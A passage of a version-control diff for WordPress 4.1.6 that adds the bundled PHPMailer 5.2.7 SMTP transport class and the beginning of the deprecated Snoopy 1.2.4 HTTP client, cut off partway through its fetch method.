+endif;
Index: /tags/4.1.6/src/wp-includes/class-smtp.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-smtp.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-smtp.php	(revision 33402)
@@ -0,0 +1,943 @@
+<?php
+/**
+ * PHPMailer RFC821 SMTP email transport class.
+ * Version 5.2.7
+ * PHP version 5.0.0
+ * @category  PHP
+ * @package   PHPMailer
+ * @link      https://github.com/PHPMailer/PHPMailer/
+ * @author Marcus Bointon (coolbru) <phpmailer@synchromedia.co.uk>
+ * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
+ * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
+ * @copyright 2013 Marcus Bointon
+ * @copyright 2004 - 2008 Andy Prevost
+ * @copyright 2010 - 2012 Jim Jagielski
+ * @license   http://www.gnu.org/copyleft/lesser.html Distributed under the Lesser General Public License (LGPL)
+ */
+
+/**
+ * PHPMailer RFC821 SMTP email transport class.
+ *
+ * Implements RFC 821 SMTP commands
+ * and provides some utility methods for sending mail to an SMTP server.
+ *
+ * PHP Version 5.0.0
+ *
+ * @category PHP
+ * @package  PHPMailer
+ * @link     https://github.com/PHPMailer/PHPMailer/blob/master/class.smtp.php
+ * @author   Chris Ryan <unknown@example.com>
+ * @author   Marcus Bointon <phpmailer@synchromedia.co.uk>
+ * @license  http://www.gnu.org/copyleft/lesser.html Distributed under the Lesser General Public License (LGPL)
+ */
+
+class SMTP
+{
+    /**
+     * The PHPMailer SMTP Version number.
+     */
+    const VERSION = '5.2.7';
+
+    /**
+     * SMTP line break constant.
+     */
+    const CRLF = "\r\n";
+
+    /**
+     * The SMTP port to use if one is not specified.
+     */
+    const DEFAULT_SMTP_PORT = 25;
+
+    /**
+     * The PHPMailer SMTP Version number.
+     * @type string
+     * @deprecated This should be a constant
+     * @see SMTP::VERSION
+     */
+    public $Version = '5.2.7';
+
+    /**
+     * SMTP server port number.
+     * @type int
+     * @deprecated This is only ever ued as default value, so should be a constant
+     * @see SMTP::DEFAULT_SMTP_PORT
+     */
+    public $SMTP_PORT = 25;
+
+    /**
+     * SMTP reply line ending
+     * @type string
+     * @deprecated Use the class constant instead
+     * @see SMTP::CRLF
+     */
+    public $CRLF = "\r\n";
+
+    /**
+     * Debug output level.
+     * Options: 0 for no output, 1 for commands, 2 for data and commands
+     * @type int
+     */
+    public $do_debug = 0;
+
+    /**
+     * The function/method to use for debugging output.
+     * Options: 'echo', 'html' or 'error_log'
+     * @type string
+     */
+    public $Debugoutput = 'echo';
+
+    /**
+     * Whether to use VERP.
+     * @type bool
+     */
+    public $do_verp = false;
+
+    /**
+     * The SMTP timeout value for reads, in seconds.
+     * @type int
+     */
+    public $Timeout = 15;
+
+    /**
+     * The SMTP timelimit value for reads, in seconds.
+     * @type int
+     */
+    public $Timelimit = 30;
+
+    /**
+     * The socket for the server connection.
+     * @type resource
+     */
+    protected $smtp_conn;
+
+    /**
+     * Error message, if any, for the last call.
+     * @type string
+     */
+    protected $error = '';
+
+    /**
+     * The reply the server sent to us for HELO.
+     * @type string
+     */
+    protected $helo_rply = '';
+
+    /**
+     * The most recent reply received from the server.
+     * @type string
+     */
+    protected $last_reply = '';
+
+    /**
+     * Constructor.
+     * @access public
+     */
+    public function __construct()
+    {
+        $this->smtp_conn = 0;
+        $this->error = null;
+        $this->helo_rply = null;
+
+        $this->do_debug = 0;
+    }
+
+    /**
+     * Output debugging info via a user-selected method.
+     * @param string $str Debug string to output
+     * @return void
+     */
+    protected function edebug($str)
+    {
+        switch ($this->Debugoutput) {
+            case 'error_log':
+                //Don't output, just log
+                error_log($str);
+                break;
+            case 'html':
+                //Cleans up output a bit for a better looking, HTML-safe output
+                echo htmlentities(
+                    preg_replace('/[\r\n]+/', '', $str),
+                    ENT_QUOTES,
+                    'UTF-8'
+                )
+                . "<br>\n";
+                break;
+            case 'echo':
+            default:
+                //Just echoes whatever was received
+                echo $str;
+        }
+    }
+
+    /**
+     * Connect to an SMTP server.
+     * @param string $host    SMTP server IP or host name
+     * @param int $port    The port number to connect to
+     * @param int $timeout How long to wait for the connection to open
+     * @param array $options An array of options for stream_context_create()
+     * @access public
+     * @return bool
+     */
+    public function connect($host, $port = null, $timeout = 30, $options = array())
+    {
+        // Clear errors to avoid confusion
+        $this->error = null;
+
+        // Make sure we are __not__ connected
+        if ($this->connected()) {
+            // Already connected, generate error
+            $this->error = array('error' => 'Already connected to a server');
+            return false;
+        }
+
+        if (empty($port)) {
+            $port = self::DEFAULT_SMTP_PORT;
+        }
+
+        // Connect to the SMTP server
+        $errno = 0;
+        $errstr = '';
+        $socket_context = stream_context_create($options);
+        //Suppress errors; connection failures are handled at a higher level
+        $this->smtp_conn = @stream_socket_client(
+            $host . ":" . $port,
+            $errno,
+            $errstr,
+            $timeout,
+            STREAM_CLIENT_CONNECT,
+            $socket_context
+        );
+
+        // Verify we connected properly
+        if (empty($this->smtp_conn)) {
+            $this->error = array(
+                'error' => 'Failed to connect to server',
+                'errno' => $errno,
+                'errstr' => $errstr
+            );
+            if ($this->do_debug >= 1) {
+                $this->edebug(
+                    'SMTP -> ERROR: ' . $this->error['error']
+                    . ": $errstr ($errno)"
+                );
+            }
+            return false;
+        }
+
+        // SMTP server can take longer to respond, give longer timeout for first read
+        // Windows does not have support for this timeout function
+        if (substr(PHP_OS, 0, 3) != 'WIN') {
+            $max = ini_get('max_execution_time');
+            if ($max != 0 && $timeout > $max) { // Don't bother if unlimited
+                @set_time_limit($timeout);
+            }
+            stream_set_timeout($this->smtp_conn, $timeout, 0);
+        }
+
+        // Get any announcement
+        $announce = $this->get_lines();
+
+        if ($this->do_debug >= 2) {
+            $this->edebug('SMTP -> FROM SERVER:' . $announce);
+        }
+
+        return true;
+    }
+
+    /**
+     * Initiate a TLS (encrypted) session.
+     * @access public
+     * @return bool
+     */
+    public function startTLS()
+    {
+        if (!$this->sendCommand("STARTTLS", "STARTTLS", 220)) {
+            return false;
+        }
+        // Begin encrypted connection
+        if (!stream_socket_enable_crypto(
+            $this->smtp_conn,
+            true,
+            STREAM_CRYPTO_METHOD_TLS_CLIENT
+        )
+        ) {
+            return false;
+        }
+        return true;
+    }
+
+    /**
+     * Perform SMTP authentication.
+     * Must be run after hello().
+     * @see hello()
+     * @param string $username    The user name
+     * @param string $password    The password
+     * @param string $authtype    The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5)
+     * @param string $realm       The auth realm for NTLM
+     * @param string $workstation The auth workstation for NTLM
+     * @access public
+     * @return bool True if successfully authenticated.
+     */
+    public function authenticate(
+        $username,
+        $password,
+        $authtype = 'LOGIN',
+        $realm = '',
+        $workstation = ''
+    ) {
+        if (empty($authtype)) {
+            $authtype = 'LOGIN';
+        }
+
+        switch ($authtype) {
+            case 'PLAIN':
+                // Start authentication
+                if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
+                    return false;
+                }
+                // Send encoded username and password
+                if (!$this->sendCommand(
+                    'User & Password',
+                    base64_encode("\0" . $username . "\0" . $password),
+                    235
+                )
+                ) {
+                    return false;
+                }
+                break;
+            case 'LOGIN':
+                // Start authentication
+                if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
+                    return false;
+                }
+                if (!$this->sendCommand("Username", base64_encode($username), 334)) {
+                    return false;
+                }
+                if (!$this->sendCommand("Password", base64_encode($password), 235)) {
+                    return false;
+                }
+                break;
+            case 'NTLM':
+                /*
+                 * ntlm_sasl_client.php
+                 * Bundled with Permission
+                 *
+                 * How to telnet in windows:
+                 * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx
+                 * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication
+                 */
+                require_once 'extras/ntlm_sasl_client.php';
+                $temp = new stdClass();
+                $ntlm_client = new ntlm_sasl_client_class;
+                //Check that functions are available
+                if (!$ntlm_client->Initialize($temp)) {
+                    $this->error = array('error' => $temp->error);
+                    if ($this->do_debug >= 1) {
+                        $this->edebug(
+                            'You need to enable some modules in your php.ini file: '
+                            . $this->error['error']
+                        );
+                    }
+                    return false;
+                }
+                //msg1
+                $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
+
+                if (!$this->sendCommand(
+                    'AUTH NTLM',
+                    'AUTH NTLM ' . base64_encode($msg1),
+                    334
+                )
+                ) {
+                    return false;
+                }
+
+                //Though 0 based, there is a white space after the 3 digit number
+                //msg2
+                $challenge = substr($this->last_reply, 3);
+                $challenge = base64_decode($challenge);
+                $ntlm_res = $ntlm_client->NTLMResponse(
+                    substr($challenge, 24, 8),
+                    $password
+                );
+                //msg3
+                $msg3 = $ntlm_client->TypeMsg3(
+                    $ntlm_res,
+                    $username,
+                    $realm,
+                    $workstation
+                );
+                // send encoded username
+                return $this->sendCommand('Username', base64_encode($msg3), 235);
+                break;
+            case 'CRAM-MD5':
+                // Start authentication
+                if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
+                    return false;
+                }
+                // Get the challenge
+                $challenge = base64_decode(substr($this->last_reply, 4));
+
+                // Build the response
+                $response = $username . ' ' . $this->hmac($challenge, $password);
+
+                // send encoded credentials
+                return $this->sendCommand('Username', base64_encode($response), 235);
+                break;
+        }
+        return true;
+    }
+
+    /**
+     * Calculate an MD5 HMAC hash.
+     * Works like hash_hmac('md5', $data, $key)
+     * in case that function is not available
+     * @param string $data The data to hash
+     * @param string $key  The key to hash with
+     * @access protected
+     * @return string
+     */
+    protected function hmac($data, $key)
+    {
+        if (function_exists('hash_hmac')) {
+            return hash_hmac('md5', $data, $key);
+        }
+
+        // The following borrowed from
+        // http://php.net/manual/en/function.mhash.php#27225
+
+        // RFC 2104 HMAC implementation for php.
+        // Creates an md5 HMAC.
+        // Eliminates the need to install mhash to compute a HMAC
+        // by Lance Rushing
+
+        $b = 64; // byte length for md5
+        if (strlen($key) > $b) {
+            $key = pack('H*', md5($key));
+        }
+        $key = str_pad($key, $b, chr(0x00));
+        $ipad = str_pad('', $b, chr(0x36));
+        $opad = str_pad('', $b, chr(0x5c));
+        $k_ipad = $key ^ $ipad;
+        $k_opad = $key ^ $opad;
+
+        return md5($k_opad . pack('H*', md5($k_ipad . $data)));
+    }
+
+    /**
+     * Check connection state.
+     * @access public
+     * @return bool True if connected.
+     */
+    public function connected()
+    {
+        if (!empty($this->smtp_conn)) {
+            $sock_status = stream_get_meta_data($this->smtp_conn);
+            if ($sock_status['eof']) {
+                // the socket is valid but we are not connected
+                if ($this->do_debug >= 1) {
+                    $this->edebug(
+                        'SMTP -> NOTICE: EOF caught while checking if connected'
+                    );
+                }
+                $this->close();
+                return false;
+            }
+            return true; // everything looks good
+        }
+        return false;
+    }
+
+    /**
+     * Close the socket and clean up the state of the class.
+     * Don't use this function without first trying to use QUIT.
+     * @see quit()
+     * @access public
+     * @return void
+     */
+    public function close()
+    {
+        $this->error = null; // so there is no confusion
+        $this->helo_rply = null;
+        if (!empty($this->smtp_conn)) {
+            // close the connection and cleanup
+            fclose($this->smtp_conn);
+            $this->smtp_conn = 0;
+        }
+    }
+
+    /**
+     * Send an SMTP DATA command.
+     * Issues a data command and sends the msg_data to the server,
+     * finializing the mail transaction. $msg_data is the message
+     * that is to be send with the headers. Each header needs to be
+     * on a single line followed by a <CRLF> with the message headers
+     * and the message body being separated by and additional <CRLF>.
+     * Implements rfc 821: DATA <CRLF>
+     * @param string $msg_data Message data to send
+     * @access public
+     * @return bool
+     */
+    public function data($msg_data)
+    {
+        if (!$this->sendCommand('DATA', 'DATA', 354)) {
+            return false;
+        }
+
+        /* The server is ready to accept data!
+         * according to rfc821 we should not send more than 1000
+         * including the CRLF
+         * characters on a single line so we will break the data up
+         * into lines by \r and/or \n then if needed we will break
+         * each of those into smaller lines to fit within the limit.
+         * in addition we will be looking for lines that start with
+         * a period '.' and append and additional period '.' to that
+         * line. NOTE: this does not count towards limit.
+         */
+
+        // Normalize the line breaks before exploding
+        $msg_data = str_replace("\r\n", "\n", $msg_data);
+        $msg_data = str_replace("\r", "\n", $msg_data);
+        $lines = explode("\n", $msg_data);
+
+        /* We need to find a good way to determine if headers are
+         * in the msg_data or if it is a straight msg body
+         * currently I am assuming rfc822 definitions of msg headers
+         * and if the first field of the first line (':' separated)
+         * does not contain a space then it _should_ be a header
+         * and we can process all lines before a blank "" line as
+         * headers.
+         */
+
+        $field = substr($lines[0], 0, strpos($lines[0], ':'));
+        $in_headers = false;
+        if (!empty($field) && !strstr($field, ' ')) {
+            $in_headers = true;
+        }
+
+        //RFC 2822 section 2.1.1 limit
+        $max_line_length = 998;
+
+        foreach ($lines as $line) {
+            $lines_out = null;
+            if ($line == '' && $in_headers) {
+                $in_headers = false;
+            }
+            // ok we need to break this line up into several smaller lines
+            while (strlen($line) > $max_line_length) {
+                $pos = strrpos(substr($line, 0, $max_line_length), ' ');
+
+                // Patch to fix DOS attack
+                if (!$pos) {
+                    $pos = $max_line_length - 1;
+                    $lines_out[] = substr($line, 0, $pos);
+                    $line = substr($line, $pos);
+                } else {
+                    $lines_out[] = substr($line, 0, $pos);
+                    $line = substr($line, $pos + 1);
+                }
+
+                /* If processing headers add a LWSP-char to the front of new line
+                 * rfc822 on long msg headers
+                 */
+                if ($in_headers) {
+                    $line = "\t" . $line;
+                }
+            }
+            $lines_out[] = $line;
+
+            // send the lines to the server
+            while (list(, $line_out) = @each($lines_out)) {
+                if (strlen($line_out) > 0) {
+                    if (substr($line_out, 0, 1) == '.') {
+                        $line_out = '.' . $line_out;
+                    }
+                }
+                $this->client_send($line_out . self::CRLF);
+            }
+        }
+
+        // Message data has been sent, complete the command
+        return $this->sendCommand('DATA END', '.', 250);
+    }
+
+    /**
+     * Send an SMTP HELO or EHLO command.
+     * Used to identify the sending server to the receiving server.
+     * This makes sure that client and server are in a known state.
+     * Implements from RFC 821: HELO <SP> <domain> <CRLF>
+     * and RFC 2821 EHLO.
+     * @param string $host The host name or IP to connect to
+     * @access public
+     * @return bool
+     */
+    public function hello($host = '')
+    {
+        // Try extended hello first (RFC 2821)
+        if (!$this->sendHello('EHLO', $host)) {
+            if (!$this->sendHello('HELO', $host)) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    /**
+     * Send an SMTP HELO or EHLO command.
+     * Low-level implementation used by hello()
+     * @see hello()
+     * @param string $hello The HELO string
+     * @param string $host  The hostname to say we are
+     * @access protected
+     * @return bool
+     */
+    protected function sendHello($hello, $host)
+    {
+        $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
+        $this->helo_rply = $this->last_reply;
+        return $noerror;
+    }
+
+    /**
+     * Send an SMTP MAIL command.
+     * Starts a mail transaction from the email address specified in
+     * $from. Returns true if successful or false otherwise. If True
+     * the mail transaction is started and then one or more recipient
+     * commands may be called followed by a data command.
+     * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
+     * @param string $from Source address of this message
+     * @access public
+     * @return bool
+     */
+    public function mail($from)
+    {
+        $useVerp = ($this->do_verp ? ' XVERP' : '');
+        return $this->sendCommand(
+            'MAIL FROM',
+            'MAIL FROM:<' . $from . '>' . $useVerp,
+            250
+        );
+    }
+
+    /**
+     * Send an SMTP QUIT command.
+     * Closes the socket if there is no error or the $close_on_error argument is true.
+     * Implements from rfc 821: QUIT <CRLF>
+     * @param bool $close_on_error Should the connection close if an error occurs?
+     * @access public
+     * @return bool
+     */
+    public function quit($close_on_error = true)
+    {
+        $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
+        $e = $this->error; //Save any error
+        if ($noerror or $close_on_error) {
+            $this->close();
+            $this->error = $e; //Restore any error from the quit command
+        }
+        return $noerror;
+    }
+
+    /**
+     * Send an SMTP RCPT command.
+     * Sets the TO argument to $to.
+     * Returns true if the recipient was accepted false if it was rejected.
+     * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
+     * @param string $to The address the message is being sent to
+     * @access public
+     * @return bool
+     */
+    public function recipient($to)
+    {
+        return $this->sendCommand(
+            'RCPT TO ',
+            'RCPT TO:<' . $to . '>',
+            array(250, 251)
+        );
+    }
+
+    /**
+     * Send an SMTP RSET command.
+     * Abort any transaction that is currently in progress.
+     * Implements rfc 821: RSET <CRLF>
+     * @access public
+     * @return bool True on success.
+     */
+    public function reset()
+    {
+        return $this->sendCommand('RSET', 'RSET', 250);
+    }
+
+    /**
+     * Send a command to an SMTP server and check its return code.
+     * @param string $command       The command name - not sent to the server
+     * @param string $commandstring The actual command to send
+     * @param int|array $expect     One or more expected integer success codes
+     * @access protected
+     * @return bool True on success.
+     */
+    protected function sendCommand($command, $commandstring, $expect)
+    {
+        if (!$this->connected()) {
+            $this->error = array(
+                "error" => "Called $command without being connected"
+            );
+            return false;
+        }
+        $this->client_send($commandstring . self::CRLF);
+
+        $reply = $this->get_lines();
+        $code = substr($reply, 0, 3);
+
+        if ($this->do_debug >= 2) {
+            $this->edebug('SMTP -> FROM SERVER:' . $reply);
+        }
+
+        if (!in_array($code, (array)$expect)) {
+            $this->last_reply = null;
+            $this->error = array(
+                "error" => "$command command failed",
+                "smtp_code" => $code,
+                "detail" => substr($reply, 4)
+            );
+            if ($this->do_debug >= 1) {
+                $this->edebug(
+                    'SMTP -> ERROR: ' . $this->error['error'] . ': ' . $reply
+                );
+            }
+            return false;
+        }
+
+        $this->last_reply = $reply;
+        $this->error = null;
+        return true;
+    }
+
+    /**
+     * Send an SMTP SAML command.
+     * Starts a mail transaction from the email address specified in $from.
+     * Returns true if successful or false otherwise. If True
+     * the mail transaction is started and then one or more recipient
+     * commands may be called followed by a data command. This command
+     * will send the message to the users terminal if they are logged
+     * in and send them an email.
+     * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
+     * @param string $from The address the message is from
+     * @access public
+     * @return bool
+     */
+    public function sendAndMail($from)
+    {
+        return $this->sendCommand("SAML", "SAML FROM:$from", 250);
+    }
+
+    /**
+     * Send an SMTP VRFY command.
+     * @param string $name The name to verify
+     * @access public
+     * @return bool
+     */
+    public function verify($name)
+    {
+        return $this->sendCommand("VRFY", "VRFY $name", array(250, 251));
+    }
+
+    /**
+     * Send an SMTP NOOP command.
+     * Used to keep keep-alives alive, doesn't actually do anything
+     * @access public
+     * @return bool
+     */
+    public function noop()
+    {
+        return $this->sendCommand("NOOP", "NOOP", 250);
+    }
+
+    /**
+     * Send an SMTP TURN command.
+     * This is an optional command for SMTP that this class does not support.
+     * This method is here to make the RFC821 Definition
+     * complete for this class and __may__ be implemented in future
+     * Implements from rfc 821: TURN <CRLF>
+     * @access public
+     * @return bool
+     */
+    public function turn()
+    {
+        $this->error = array(
+            'error' => 'The SMTP TURN command is not implemented'
+        );
+        if ($this->do_debug >= 1) {
+            $this->edebug('SMTP -> NOTICE: ' . $this->error['error']);
+        }
+        return false;
+    }
+
+    /**
+     * Send raw data to the server.
+     * @param string $data The data to send
+     * @access public
+     * @return int|bool The number of bytes sent to the server or FALSE on error
+     */
+    public function client_send($data)
+    {
+        if ($this->do_debug >= 1) {
+            $this->edebug("CLIENT -> SMTP: $data");
+        }
+        return fwrite($this->smtp_conn, $data);
+    }
+
+    /**
+     * Get the latest error.
+     * @access public
+     * @return array
+     */
+    public function getError()
+    {
+        return $this->error;
+    }
+
+    /**
+     * Get the last reply from the server.
+     * @access public
+     * @return string
+     */
+    public function getLastReply()
+    {
+        return $this->last_reply;
+    }
+
+    /**
+     * Read the SMTP server's response.
+     * Either before eof or socket timeout occurs on the operation.
+     * With SMTP we can tell if we have more lines to read if the
+     * 4th character is '-' symbol. If it is a space then we don't
+     * need to read anything else.
+     * @access protected
+     * @return string
+     */
+    protected function get_lines()
+    {
+        $data = '';
+        $endtime = 0;
+        // If the connection is bad, give up now
+        if (!is_resource($this->smtp_conn)) {
+            return $data;
+        }
+        stream_set_timeout($this->smtp_conn, $this->Timeout);
+        if ($this->Timelimit > 0) {
+            $endtime = time() + $this->Timelimit;
+        }
+        while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
+            $str = @fgets($this->smtp_conn, 515);
+            if ($this->do_debug >= 4) {
+                $this->edebug("SMTP -> get_lines(): \$data was \"$data\"");
+                $this->edebug("SMTP -> get_lines(): \$str is \"$str\"");
+            }
+            $data .= $str;
+            if ($this->do_debug >= 4) {
+                $this->edebug("SMTP -> get_lines(): \$data is \"$data\"");
+            }
+            // if 4th character is a space, we are done reading, break the loop
+            if (substr($str, 3, 1) == ' ') {
+                break;
+            }
+            // Timed-out? Log and break
+            $info = stream_get_meta_data($this->smtp_conn);
+            if ($info['timed_out']) {
+                if ($this->do_debug >= 4) {
+                    $this->edebug(
+                        'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)'
+                    );
+                }
+                break;
+            }
+            // Now check if reads took too long
+            if ($endtime) {
+                if (time() > $endtime) {
+                    if ($this->do_debug >= 4) {
+                        $this->edebug(
+                            'SMTP -> get_lines(): timelimit reached ('
+                            . $this->Timelimit . ' sec)'
+                        );
+                    }
+                    break;
+                }
+            }
+        }
+        return $data;
+    }
+
+    /**
+     * Enable or disable VERP address generation.
+     * @param bool $enabled
+     */
+    public function setVerp($enabled = false)
+    {
+        $this->do_verp = $enabled;
+    }
+
+    /**
+     * Get VERP address generation mode.
+     * @return bool
+     */
+    public function getVerp()
+    {
+        return $this->do_verp;
+    }
+
+    /**
+     * Set debug output method.
+     * @param string $method The function/method to use for debugging output.
+     */
+    public function setDebugOutput($method = 'echo')
+    {
+        $this->Debugoutput = $method;
+    }
+
+    /**
+     * Get debug output method.
+     * @return string
+     */
+    public function getDebugOutput()
+    {
+        return $this->Debugoutput;
+    }
+
+    /**
+     * Set debug output level.
+     * @param int $level
+     */
+    public function setDebugLevel($level = 0)
+    {
+        $this->do_debug = $level;
+    }
+
+    /**
+     * Get debug output level.
+     * @return int
+     */
+    public function getDebugLevel()
+    {
+        return $this->do_debug;
+    }
+
+    /**
+     * Set SMTP timeout.
+     * @param int $timeout
+     */
+    public function setTimeout($timeout = 0)
+    {
+        $this->Timeout = $timeout;
+    }
+
+    /**
+     * Get SMTP timeout.
+     * @return int
+     */
+    public function getTimeout()
+    {
+        return $this->Timeout;
+    }
+}
Index: /tags/4.1.6/src/wp-includes/class-snoopy.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-snoopy.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-snoopy.php	(revision 33402)
@@ -0,0 +1,1256 @@
+<?php
+
+/**
+ * Deprecated. Use WP_HTTP (http.php, class-http.php) instead.
+ */
+_deprecated_file( basename( __FILE__ ), '3.0', WPINC . '/http.php' );
+
+if ( !class_exists( 'Snoopy' ) ) :
+/*************************************************
+
+Snoopy - the PHP net client
+Author: Monte Ohrt <monte@ispi.net>
+Copyright (c): 1999-2008 New Digital Group, all rights reserved
+Version: 1.2.4
+
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+You may contact the author of Snoopy by e-mail at:
+monte@ohrt.com
+
+The latest version of Snoopy can be obtained from:
+http://snoopy.sourceforge.net/
+
+*************************************************/
+
+class Snoopy
+{
+	/**** Public variables ****/
+
+	/* user definable vars */
+
+	var $host			=	"www.php.net";		// host name we are connecting to
+	var $port			=	80;					// port we are connecting to
+	var $proxy_host		=	"";					// proxy host to use
+	var $proxy_port		=	"";					// proxy port to use
+	var $proxy_user		=	"";					// proxy user to use
+	var $proxy_pass		=	"";					// proxy password to use
+
+	var $agent			=	"Snoopy v1.2.4";	// agent we masquerade as
+	var	$referer		=	"";					// referer info to pass
+	var $cookies		=	array();			// array of cookies to pass
+												// $cookies["username"]="joe";
+	var	$rawheaders		=	array();			// array of raw headers to send
+												// $rawheaders["Content-type"]="text/html";
+
+	var $maxredirs		=	5;					// http redirection depth maximum. 0 = disallow
+	var $lastredirectaddr	=	"";				// contains address of last redirected address
+	var	$offsiteok		=	true;				// allows redirection off-site
+	var $maxframes		=	0;					// frame content depth maximum. 0 = disallow
+	var $expandlinks	=	true;				// expand links to fully qualified URLs.
+												// this only applies to fetchlinks()
+												// submitlinks(), and submittext()
+	var $passcookies	=	true;				// pass set cookies back through redirects
+												// NOTE: this currently does not respect
+												// dates, domains or paths.
+
+	var	$user			=	"";					// user for http authentication
+	var	$pass			=	"";					// password for http authentication
+
+	// http accept types
+	var $accept			=	"image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*";
+
+	var $results		=	"";					// where the content is put
+
+	var $error			=	"";					// error messages sent here
+	var	$response_code	=	"";					// response code returned from server
+	var	$headers		=	array();			// headers returned from server sent here
+	var	$maxlength		=	500000;				// max return data length (body)
+	var $read_timeout	=	0;					// timeout on read operations, in seconds
+												// supported only since PHP 4 Beta 4
+												// set to 0 to disallow timeouts
+	var $timed_out		=	false;				// if a read operation timed out
+	var	$status			=	0;					// http request status
+
+	var $temp_dir		=	"/tmp";				// temporary directory that the webserver
+												// has permission to write to.
+												// under Windows, this should be C:\temp
+
+	var	$curl_path		=	"/usr/local/bin/curl";
+												// Snoopy will use cURL for fetching
+												// SSL content if a full system path to
+												// the cURL binary is supplied here.
+												// set to false if you do not have
+												// cURL installed. See http://curl.haxx.se
+												// for details on installing cURL.
+												// Snoopy does *not* use the cURL
+												// library functions built into php,
+												// as these functions are not stable
+												// as of this Snoopy release.
+
+	/**** Private variables ****/
+
+	var	$_maxlinelen	=	4096;				// max line length (headers)
+
+	var $_httpmethod	=	"GET";				// default http request method
+	var $_httpversion	=	"HTTP/1.0";			// default http request version
+	var $_submit_method	=	"POST";				// default submit method
+	var $_submit_type	=	"application/x-www-form-urlencoded";	// default submit type
+	var $_mime_boundary	=   "";					// MIME boundary for multipart/form-data submit type
+	var $_redirectaddr	=	false;				// will be set if page fetched is a redirect
+	var $_redirectdepth	=	0;					// increments on an http redirect
+	var $_frameurls		= 	array();			// frame src urls
+	var $_framedepth	=	0;					// increments on frame depth
+
+	var $_isproxy		=	false;				// set if using a proxy server
+	var $_fp_timeout	=	30;					// timeout for socket connection
+
+/*======================================================================*\
+	Function:	fetch
+	Purpose:	fetch the contents of a web page
+				(and possibly other protocols in the
+				future like ftp, nntp, gopher, etc.)
+	Input:		$URI	the location of the page to fetch
+	Output:		$this->results	the output text from the fetch
+\*======================================================================*/
+
+	function fetch($URI)
+	{
+
+		//preg_match("|^([^:]+)://([^:/]+)(:[\d]+)*(.*)|",$URI,$URI_PARTS);
+		$URI_PARTS = parse_url($URI);
+		if (!empty($URI_PARTS["user"]))
+			$this->user = $URI_PARTS["user"];
+		if (!empty($URI_PARTS["pass"]))
+			$this->pass = $URI_PARTS["pass"];
+		if (empty($URI_PARTS["query"]))
+			$URI_PARTS["query"] = '';
+		if (empty($URI_PARTS["path"]))
+			$URI_PARTS["path"] = '';
+
+		switch(strtolower($URI_PARTS["scheme"]))
+		{
+			case "http":
+				$this->host = $URI_PARTS["host"];
+				if(!empty($URI_PARTS["port"]))
+					$this->port = $URI_PARTS["port"];
+				if($this->_connect($fp))
+				{
+					if($this->_isproxy)
+					{
+						// using proxy, send entire URI
+						$this->_httprequest($URI,$fp,$URI,$this->_httpmethod);
+					}
+					else
+					{
+						$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
+						// no proxy, send only the path
+						$this->_httprequest($path, $fp, $URI, $this->_httpmethod);
+					}
+
+					$this->_disconnect($fp);
+
+					if($this->_redirectaddr)
+					{
+						/* url was redirected, check if we've hit the max depth */
+						if($this->maxredirs > $this->_redirectdepth)
+						{
+							// only follow redirect if it's on this site, or offsiteok is true
+							if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
+							{
+								/* follow the redirect */
+								$this->_redirectdepth++;
+								$this->lastredirectaddr=$this->_redirectaddr;
+								$this->fetch($this->_redirectaddr);
+							}
+						}
+					}
+
+					if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
+					{
+						$frameurls = $this->_frameurls;
+						$this->_frameurls = array();
+
+						while(list(,$frameurl) = each($frameurls))
+						{
+							if($this->_framedepth < $this->maxframes)
+							{
+								$this->fetch($frameurl);
+								$this->_framedepth++;
+							}
+							else
+								break;
+						}
+					}
+				}
+				else
+				{
+					return false;
+				}
+				return true;
+				break;
+			case "https":
+				if(!$this->curl_path)
+					return false;
+				if(function_exists("is_executable"))
+				    if (!is_executable($this->curl_path))
+				        return false;
+				$this->host = $URI_PARTS["host"];
+				if(!empty($URI_PARTS["port"]))
+					$this->port = $URI_PARTS["port"];
+				if($this->_isproxy)
+				{
+					// using proxy, send entire URI
+					$this->_httpsrequest($URI,$URI,$this->_httpmethod);
+				}
+				else
+				{
+					$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
+					// no proxy, send only the path
+					$this->_httpsrequest($path, $URI, $this->_httpmethod);
+				}
+
+				if($this->_redirectaddr)
+				{
+					/* url was redirected, check if we've hit the max depth */
+					if($this->maxredirs > $this->_redirectdepth)
+					{
+						// only follow redirect if it's on this site, or offsiteok is true
+						if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
+						{
+							/* follow the redirect */
+							$this->_redirectdepth++;
